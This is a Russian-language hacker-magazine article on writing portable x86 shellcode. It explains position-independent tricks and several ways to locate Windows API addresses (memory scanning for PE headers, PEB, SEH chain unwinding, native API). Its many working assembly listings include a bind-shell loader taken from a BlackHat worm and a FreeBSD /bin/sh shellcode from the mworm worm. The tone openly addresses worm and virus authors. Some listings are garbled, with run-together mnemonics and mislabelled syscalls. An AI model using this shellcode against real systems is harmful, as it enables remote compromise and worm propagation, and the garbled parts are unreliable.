buf.D_API
техника написания переносимого shell-кода
крис касперски ака мыщъх
shell-код никогда заранее не знает куда попадет, поэтому он должен уметь выживать в любых условиях, автоматически адаптируясь под конкретную операционную систему, что не так-то просто сделать. подавляющее большинство хакеров именно на этом и прокалывались. немногие выжившие в поединке дали миру киберпространства то, в чем нуждались десятки червей, вирусов и их создателей…
введение
Последнее время в хакерских кругах много говорят о переносимом shell-коде. Одни восхищаются им, другие презрительно хмыкают, уподобляя переносимый shell-код морской свинке. И не морской, и не свинке. Шутка. Но доля истины в ней есть. «Переносимым» называют программное обеспечение, полностью абстрагированное от конструктивных особенностей конкретного программно-аппаратного обеспечения. Функция printf успешно выводит «hello, world!» как на монитор, так и на телетайп. Поэтому, она переносима. Обратите внимание: переносима именно функция, но не ее реализация. Монитор и телетайп обслуживает различный код, выбираемый на стадии компиляции приложения, а точнее его линковки, но это уже не суть важно.
shell-код – это машинный код, тесно связанный с особенностями атакуемом системы и переносимым он не может быть по определению. Компиляторов shell-кода не существует, хотя бы уже потому что не существует адекватных языков его описания, вынуждая нас прибегать к ассемблеру и машинному коду, которые у каждого процессора свои. Хуже того. В отрыве от периферийного окружения, голый процессор никому не интересен, ведь shell-коду приходится не только складывать и умножать, но еще и открывать/закрывать файлы, обрабатывать сетевые запросы, а для этого необходимо обратиться к API-функциям операционной системы или к драйверу соответствующего устройства. Различные операционные системы используют различные соглашения и эти соглашения сильно неодинаковы. Создать shell-код, поддерживающих десяток-другой популярных осей, вполне возможно, но его размеры превысят все допустимые лимиты и ограничения (длина переполняющихся буферов от силы измеряется десятками байт, это что же выходит: по одному байту на каждую версию shell-кода?!).
Условимся называть переносимым shell-кодом машинный код, поддерживающий заданную линейку операционных систем (например, Windows NT, Window 2000 и Windows XP). Как показывает практика, для решения подавляющего большинства задач такой степени переносимости вполне достаточно. В конце концов, гораздо проще написать десяток узкоспециализированных shell-кодов, чем один универсальный. Что поделаешь, переносимость требует жертв и в первую очередь – увеличения объема shell-кода, а потому она оправдывает себя только в исключительных ситуациях.
требования, предъявляемые к переносимому shell-коду
Переносимый shell-код должен быть полностью перемещаем (т. е. сохранять работоспособность при любом расположении в памяти) и использовать минимум системно-зависимых служебных структур, закладываясь лишь на наименее изменчивые и наиболее документированные из них.
Отталкиваться от содержимого регистров ЦП на момент возникновения переполнения категорически недопустимо, поскольку их значения в общем случае неопределенны и решиться на такой шаг можно только с голодухи, когда shell-код упрямо не желает вмещать в отведенное ему количество байт и приходится импровизировать, принося в жертву переносимость.
Забудьте о хитрых трюках (в народе именуемых «хаками»), эквилибристических извращениях и недокументированных возможностях – все это негативно сказывается на переносимости и фактически ничего не дает в замен. Помните, анекдот: «Моя программа в сто раз компактнее, быстрее и элегантнее твоей!» «– Зато моя программа работает, а твоя нет». Тезис о том, что хакерство – это искусство еще никто не отменял, но не путайте божий дар с яичницей. Круто извратиться каждый ламер сможет, а вот умение забросить shell-код на сервер ничего при этом не уронив – дано далеко не каждому.
пусти достижения мобильности
Техника создания перемещаемого кода тесно связана с архитектурой конкретного микропроцессора. В частности, линейка x86 поддерживает следующие относительные команды: PUSH/POP, CALL и Jx. Старушка PDP-11 в этом отношении была намного богаче и, что самое приятное, позволяла использовать регистр указателя команд в адресных выражениях, существенно упрощая нашу задачу. Но, к сожалению, не мы выбираем процессоры. Это процессоры выбирают нас.
Команды условного перехода Jxx всегда относительны, т. е. операнд команды задает отнюдь не целевой адрес, а разницу между целевым адресом и адресом следующей команды, благодаря чему переход полностью перемещаем. Поддерживаются два типа операндов: byte и word/dword, оба знаковые, т. е. переход может быть направлен как «вперед», так и «назад» (в последнем случае операнд становится отрицательным).
Команды безусловного перехода JMP бывают как абсолютными, так и относительными. Относительные начинаются с опкода EBh (операнд типа byte) или E9h (операнд типа word/dword), а абсолютные – с EAh, при этом операнд записывается в форме сегмент: смещение. Существуют еще и косвенные команды, передающие управление по указателю, лежащему по абсолютному адресу или регистру. Последнее наиболее удобно и осуществляется приблизительно так: mov eax, абсолютный адрес/jmp eax.
Команда вызова подпрограммы CALL ведет себя аналогично jmp, за тем лишь исключением, что кодируется другими опкодами (E8h – относительный операнд типа word/dword, FFh /2 – косвенный вызов) и перед передачей управления на целевой адрес забрасывает на верхушку стека адрес возврата, представляющий собой адрес команды, следующей за call.
При условии, что shell-код расположен в стеке (а при переполнении автоматических буферов он оказывается именно там), мы можем использовать регистр ESP в качестве базы, однако, текущее значение ESP должно быть известно, а известно оно далеко не всегда. Для определения текущего значения регистра указателя команд достаточно сделать near call и вытащить адрес возврата командой pop. Обычно это выглядит так:
00000000: E800000000call000000005; закинуть EIP+sizeof(call) встек
00000005: 5Dpopebp; теперь в регистре ebp текущий eip
Листинг 1 определение расположения shell-кода в памяти
Приведенный код не свободен от нулей (а нули в shell-коде в большинстве случаев недопустимы), и чтобы от них избавиться call необходимо перенаправить «назад»:
00000000: EB04jmps000000006; короткий прыжок на call
00000002: 5Dpopebp; ebp содержит адрес следующий за call
00000003: 90nop; \
00000004: 90nop; +- актуальный shell-код
00000005: 90nop; /
00000006: E8F7FFFFFFcall000000002; закинуть адрес следующей команды в стек
Листинг 2 освобождение shell-кода от паразитных нулевых символов
саксь и маст дай жесткой привязки
Нет ничего проще вызова API-функции по абсолютным адресам. Выбрав функцию (пусть это будет GetCurrentThreadId, экспортируемая KERNEL32.DLL) мы пропускам ее через утилиту dumpbin, входящую в комплект поставки практически любого компилятора. Узнав RVA (RelativeVirtualAddress – относительный виртуальный адрес) нашей подопечной, мы складываем его с базовым адресом загрузки, сообщаемым тем же dumpbin'ом, получая в результате абсолютный адрес функции.
Полный сеанс работы с утилитой выглядит так:
dumpbin.exe /EXPORTS KERNEL32.DLL > KERNEL32.TXT
type KERNEL32.TXT | MORE
ordinal hint RVA name
…
270 10D 00007DD2 GetCurrentProcessId
271 10E 000076AB GetCurrentThread
272 10F 000076A1 GetCurrentThreadId
273 110 00017CE2 GetDateFormatA
274 111 00019E18 GetDateFormatW
…
dumpbin.exe /HEADERS KERNEL32.DLL > KERNEL32.TXT
type KERNEL32.TXT | MORE
…
OPTIONAL HEADER VALUES
10B magic #
5.12 linker version
5D800 size of code
56400 size of initialized data
0 size of uninitialized data
871D RVA of entry point
1000 base of code
5A000 base of data
77E80000 image base
1000 section alignment
200 file alignment
…
Листинг 3 для определения абсолютного адреса функции GetCurrentThreadId необходимо сложить ее RVA адрес (76A1h) с ее базовым адресом загрузки модуля (77E80000h)
На машине автора абсолютный адрес функции GetCurrentThreadId равен 77E876A1h, но в других версиях Windows NT он наверняка будет иным. Зато ее вызов свободно укладывается всего в две строки, соответствующие следующим семи байтам:
00000000: B8A1867E07moveax,0077E86A1
00000005: FFD0calleax
Листинг 4 прямой вызов API-функции по абсолютному адресу
Теперьпопробуемвызватьфункцию connect, экспортируемую ws2_32.dll. Пропускаем ws2_32.dll через dumpbin и… Стоп! А кто нам вообще обещал, что эта динамическая библиотека окажется в памяти? А если даже и окажется, то не факт, что базовый адрес, прописанный в ее заголовке, совпадает с реальным базовым адресом загрузки. Ведь динамических библиотек много и если этот адрес уже кем-то занят, операционная система загрузит библиотеку в другой регион памяти.
Лишь две динамические библиотеки гарантируют свое присутствие в адресном пространстве любого процесса, всегда загружаясь по одним и тем же адресам1). Это: KEREN32.DLL и NTDLL.DLL. Функции, экспортируемые остальными библиотеками, правильно вызывать так:
h = LoadLibraryA(«ws2_32.DLL»);
if (h != 0) error;
zzz = GetProcAddress(h, «connect»);
Листинг 5 псевдокод, демонстрирующий вызов произвольных функций
Таким образом, задача вызова произвольной функции сводится к поиску адресов функций LoadLibraryA и GetProcAddress.
артобстрел прямого поиска в памяти
Наиболее универсальный, переносимый и надежный способ определения адресов API-функций сводится к сканированию адресного пространства процесса на предмет поиска PE-сигнатур с последующим разбором таблицы экспорта.
Устанавливаем указатель на C0000000h (верхняя граница пользовательского пространства для Windows 2000 AdvancedServer и DatacenterServer, запущенных с загрузочным параметром /3GB) или на 80000000h (верхняя граница пользовательского пространства всех остальных систем).
Проверяем доступность указателя вызовом функции IsBadReadPrt, экспортируемой KERNEL32.DLL или, устанавливаем свой обработчик структурных исключений для предотвращения краха системы (подробности обработки структурных исключений – в следующей статье). Если здесь лежит «MZ», увеличиваем указатель на 3Ch байта, извлекая двойное слово e_lfanew, содержащее смещение «PE» сигнатуры. Если эта сигнатура действительно обнаруживается, базовый адрес загрузки динамического модуля найден и можно приступать к разбору таблицы экспорта, из которого требуется вытащить адреса функций GetLoadLibraryA и GetProcAddress (зная их, мы узнаем все остальное). Если хотя бы одно из этих условий не выполняется, уменьшаем указатель на 10000h и все повторяем сначала (базовые адреса загрузки всегда кратны 10000h, поэтому этот прием вполне законен).
BYTE* pBaseAddress = (BYTE*) 0xС0000000; верхняя граница для всех систем while(pBaseAddress) мотаем цикл от бобра до обеда
{
проверка доступности адреса на чтение if (!IsBadReadPtr(pBaseAddress, 2)) это «MZ»?
if (*(WORD*)pBaseAddress == 0x5A4D)
указатель на «PE» валиден? if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C)), 4)) а это «PE»?
if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C))) == 0x4550)
приступаем к разбору таблицы импорта if (n2k_simple_export_walker(pBaseAddress)) break; тестируем следующий 64 Кб блок памяти
pBaseAddress -= 0x10000;
}
Листинг 6 псевдокод, осуществляющий поиск базовых адресов всех загруженных модулей по PE-сигнатуре
Разбор таблицы экспорта осуществляется приблизительно так (пример, выдранный из безымянного червя BlackHat, полный исходный текст которого можно найти на сайте www.blackhat.com):
callhere
db«GetProcAddress»,0,«LoadLibraryA»,0
db«CreateProcessA»,0,«ExitProcess»,0
db«ws2_32»,0,«WSASocketA»,0
db«bind»,0,«listen»,0,«accept»,0
db«cmd»,0
here:
popedx
pushedx
movebx,77F00000h
l1:
cmpdword ptr [ebx],905A4Dh ;/x90ZM
jel2
;db74h,03h
decebx
jmpl1
l2:
movesi,dword ptr [ebx+3Ch]
addesi,ebx
movesi,dword ptr [esi+78h]
addesi,ebx
movedi,dword ptr [esi+20h]
addedi,ebx
movecx,dword ptr [esi+14h]
pushesi
xoreax,eax
l4:
pushedi
pushecx
movedi,dword ptr [edi]
addedi,ebx
movesi,edx
xorecx,ecx
;GetProcAddress
movcl,0Eh
repecmps
popecx
popedi
jel3
addedi,4
inceax
loopl4
jmpecx
l3:
popesi
movedx,dword ptr [esi+24h]
addedx,ebx
shleax,1
addeax,edx
xorecx,ecx
movcx,word ptr [eax]
moveax,dword ptr [esi+1Ch]
addeax,ebx
shlecx,2
addeax,ecx
movedx,dword ptr [eax]
addedx,ebx
popesi
movedi,esi
xorecx,ecx
;Get 3 Addr
movcl,3
callloadaddr
addesi,0Ch
Листинг 7 ручной разбор таблицы экспорта
Главный недостаток этого способа в его чрезмерной громоздкости, а ведь предельно допустимый объем shell-кода ограничен, но, к сожалению, ничего лучшего пока не придумали. Поиск базового адреса можно и заоптимизировать (что мы сейчас, собственно, и продемонстрируем), но от разбора экспорта никуда не уйти… Это карма переносимого shell-кода или дань, выплачивая за мобильность.
огонь в прямой наводкой – PEB
Из всех способов определения базового адреса, наибольшей популярностью пользуется анализ PEB (Process environment block – Блок Окружения Процесса) – служебной структуры данных, содержащей среди прочей полезной информации и базовые адреса всех загруженных модулей.
Популярность незаслуженная и необъяснимая. Ведь PEB – это внутренняя кухня операционной системы Windows NT, которой ни документация, ни включаемые файлы делится не собираются и лишь Microsoft Kernel Debugger обнаруживает обрывки информации. Подобная степень недокументированности не может не настораживать. В любой из последующих версиях Windows, структура PEB может измениться, как это она уже делала неоднократно, и тогда данный примем перестанет работать, а работает он, кстати говоря, только в NT. Линейка 9x отдыхает.
Так что задумайтесь – а так ли вам этот PEB нужен? Единственное его достоинство – предельно компактный код:
00000000: 33C0xoreax,eax; eax := 0
00000002: B030moval,030; eax := 30h
00000004: 648B00moveax,fs:[eax]; PEB base
00000007: 8B400Cmoveax, [eax][0000C]; PEB_LDR_DATA
0000000A: 8B401Cmoveax, [eax][0001C]; 1йэлемент InInitOrderModuleList
0000000D: ADlodsd; следующий элемент
0000000E: 8B4008moveax, [eax][00008]; базовый адрес KERNEL32.DLL
Листинг 8 определение базового адреса KERNEL32.DLL путем анализа PEB
раскрутка стека структурных исключение
Обработчик структурных исключений, назначаемый операционной системой по умолчанию, указывает на функцию KERNEL32!_except_handler3. Определим ее адрес, мы определим положение одной из ячеек, гарантированно принадлежащей модулю KERNEL32.DLL, после чего останется округлить его на величину кратную 1.0000h и заняться поисками PE сигнатуры по методике, изложенной в «артобстрел прямого поиска в памяти» с той лишь разницей, что проверять доступность указателя перед обращением к нему ненужно, т. к. теперь он заведомо доступен.
Практически все приложения используют свои обработчики структурных исключений и потому, текущий обработчик не совпадает с обработчиком, назначенным операционной системой и shell-коду требуется раскрутить цепочку обработчиков, добравшись до самого конца. Последний элемент списка и будет содержать адрес KERNEL32!_except_handler3.
Достоинство этого приема в том, что он использует только документированные свойства операционной системы, работая на всех операционных системах семейства Windows, исключая, разумеется Windows 3.x, где все не так. К тому же он довольно компактен.
00000000: 6764A10000moveax,fs:[00000]; текущ. EXCEPTION_REGISTRATION
00000005: 40inceax; если eax был –1, станет 0
00000006: 48deceax; откат на прежний указатель
00000007: 8BF0movesi,eax; esi на EXCEPTION_REGISTRATION
00000009: 8B00moveax,[eax]; EXCEPTION_REGISTRATION.prev
0000000B: 40inceax; если eax был –1, станет 0
0000000C: 75F8jne000000006; если не нуль, разматываем дальше
0000000E: ADlodsd; пропускаем prev
0000000F: ADlodsd; извлекаем handler
00000010: 6633C0xorax,ax; выравниваем на 64 Кб
00000013: EB05jmps00000001A; прыгаем в тело цикла
00000015: 2D00000100subeax,000010000; спускаемся на 64 Кб вниз
0000001A: 6681384D5Acmpw,[eax],05A4D; это «MZ»?
0000001F: 75F4jne000000015; если не «MZ», продолжаем мотать
00000021: 8B583Cmovebx,[eax+3Ch]; извлекаем указатель на PE
00000024: 813C1850450000cmp[eax+ebx],4550h; это «PE»?
0000002B: 75E8jne000000015; если не «PE», продолжаем мотать
Листинг 9 определение базового адреса KERNEL32.DLL через SEH, возвращаемом в регистре EAX
nativeAPI или портрет в стиле "ню"
Высшим пилотажем хакерства считается использование голого API операционной системы (оно же nativeAPI или сырое API). На самом деле, извращение без причины – признак ламерщины. Мало того, что nativeAPI-функции полностью недокументированны и подвержены постоянным изменениям, так они еще и непригодны к непосредственному употреблению (вот поэтому они и «сырые»). Это полуфабрикаты, реализующие низкоуровневые примитивы (primitive), своеобразные строительные кирпичики, требующие большого объема сцепляющего кода, конкретные примеры реализации которого можно найти в NTDLL.DLL и KERNEL32.DLL.
В Windows NT доступ к native-API функциям осуществляется через прерывание INT 2Eh. В регистр EAX заносится номер прерывания, а в EDX – адрес параметрического блока с аргументами. В Windows XP для этой же цели используется машинная команда sysenter, но все свойства прерывания INT 2Eh полностью сохранены, во всяком случае пока…
Ниже перечислены наиболее интересные функции native-API, применяющиеся в shell-кодах, а подробное изложение техники их вызова на русском языке можно найти в частности здесь: http://www.wasm.ru/docs/3/gloomy.zip.
000hAcceptConnectPort(24 bytes of parameters)
00AhAllocateVirtualMemory(24 bytes of parameters)
012hConnectPort(32 bytes of parameters)
017hCreateFile(44 bytes of parameters)
019hCreateKey(28 bytes of parameters)
01ChCreateNamedPipeFile(56 bytes of parameters)
01EhCreatePort(20 bytes of parameters)
01FhCreateProcess(32 bytes of parameters)
024hCreateThread(32 bytes of parameters)
029hDeleteFile(4 bytes of parameters)
02AhDeleteKey(4 bytes of parameters)
02ChDeleteValueKey(8 bytes of parameters)
02DhDeviceIoControlFile(40 bytes of parameters)
03AhFreeVirtualMemory(16 bytes of parameters)
03ChGetContextThread(8 bytes of parameters)
049hMapViewOfSection(40 bytes of parameters)
04FhOpenFile(24 bytes of parameters)
051hOpenKey(12 bytes of parameters)
054hOpenProcess(16 bytes of parameters)
059hOpenThread(16 bytes of parameters)
067hQueryEaFile(36 bytes of parameters)
086hReadFile(36 bytes of parameters)
089hReadVirtualMemory(20 bytes of parameters)
08FhReplyPort(8 bytes of parameters)
092hRequestPort(8 bytes of parameters)
096hResumeThread(8 bytes of parameters)
09ChSetEaFile(16 bytes of parameters)
0B3hSetValueKey(24 bytes of parameters)
0B5hShutdownSystem(4 bytes of parameters)
0BAhSystemDebugControl(24 bytes of parameters)
0BBhTerminateProcess(8 bytes of parameters)
0BChTerminateThread(8 bytes of parameters)
0C2hUnmapViewOfSection(8 bytes of parameters)
0C3hVdmControl(8 bytes of parameters)
0C8hWriteFile(36 bytes of parameters)
0CBhWriteVirtualMemory(20 bytes of parameters)
0CChW32Call(20 bytes of parameters)
Листинг 10 основные функции native-API
сводная таблица различных методов
метод | чем поддерживается | переносим? | удобен в реализации? | |
NT/2000/XP | 9x | |||
жесткая привязка | да | да | нет | да |
поиск в памяти | да | да | да | нет |
анализ PEB | да | нет | частично | да |
раскрутка SEH | да | да | да | да |
nativeAPI | да | не совсем2) | нет | нет |
Таблица 1 сводная таблица различных методов поиска API-адресов, победитель выделен красным цветом
системные вызовы UNIX
Зоопарк UNIX-подобных систем валит с ног своим разнообразием, осложняя разработку переносимых shell-кодов до чрезвычайности.
Используются по меньшей мере шесть способов организации интерфейса с ядром: дальний вызов по селектору семь смещение ноль (HP-UX/PA-RISC, Solaris/x86, xBSD/x86), syscall (IRIX/MIPS), ta 8 (Solaris/SPARC), svca (AIX/POWER/PowerPC), INT 25h (BeOS/x86) и INT 80h (xBSD/x86, Linix/x86), причем порядок передачи параметров и номера системных вызов у всех разные. Некоторые системы перечислены дважды, это означает, что они используют гибридный механизм системных вызовов.
Подробно описывать каждую из систем здесь неразумно, т. к. это заняло бы слишком много места, тем более, что это давным-давно описано в «UNIX Assembly Codes Development forVulnerabilitiesIllustrationPurposes» от Last Stage of Delirium Research Group (http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf). Да-да! Той самой легендарной хакерской группы, что нашла дыру в RPC. Это действительно толковые парни, и пишут они классно (я только крякал когда читал).
Ниже в качестве примера приведен код, дающий удаленный shell под *BSD/x86, выдранный из червя mworm с краткими комментариями (комментарии – мои, а червь свой собственный):
data:0804F860x86_fbsd_shell:; eax := 0
data:0804F860 31 C0xoreax, eax
data:0804F862 99cdq; edx : = 0
data:0804F863 50pusheax
data:0804F864 50pusheax
data:0804F865 50pusheax
data:0804F866 B0 7Emoval, 7Eh
data:0804F868 CD 80int80h; LINUX - sys_sigprocmask
data:0804F86A 52pushedx; завершающий ноль
data:0804F86B 68 6E 2F 73 68push68732F6Eh; ..n/sh
data:0804F870 44incesp
data:0804F871 68 2F 62 69 6E push6E69622Fh; /bin/n..
data:0804F876 89 E3movebx, esp
data:0804F878 52pushedx
data:0804F879 89 E2movedx, esp
data:0804F87B 53pushebx
data:0804F87C 89 E1movecx, esp
data:0804F87E 52pushedx
data:0804F87F 51pushecx
data:0804F880 53pushebx
data:0804F881 53pushebx
data:0804F882 6A 3Bpush3Bh
data:0804F884 58popeax
data:0804F885 CD 80int80h; LINUX - sys_olduname
data:0804F887 31 C0xoreax, eax
data:0804F889 FE C0incal
data:0804F88B CD 80int80h; LINUX - sys_exit
Листинг 11 фрагмент червя mworm, демонстрирующий технику использования системных вызовов
Рисунок 1 еще один пример использования системных вызовов в диверсионных целях
заключение
В непрерывно изменяющемся мире киберпространства, полученные знания и навыки устаревают необычайно быстро и потому предложенные приемы спустя некоторое время перестанут работать. Но, прежде чем это произойдет, хакеры додумаются до новых!
Не воспринимайте данную статью как догму! Это уже отработанный материал. Устремите свой взгляд в мутную пелену будущего. Что вы видите там? Какие идеи мелькают в вашей голове? Что вы ждете? Ведь если вы не додумаетесь, никто не додумается! Так дерзайте же!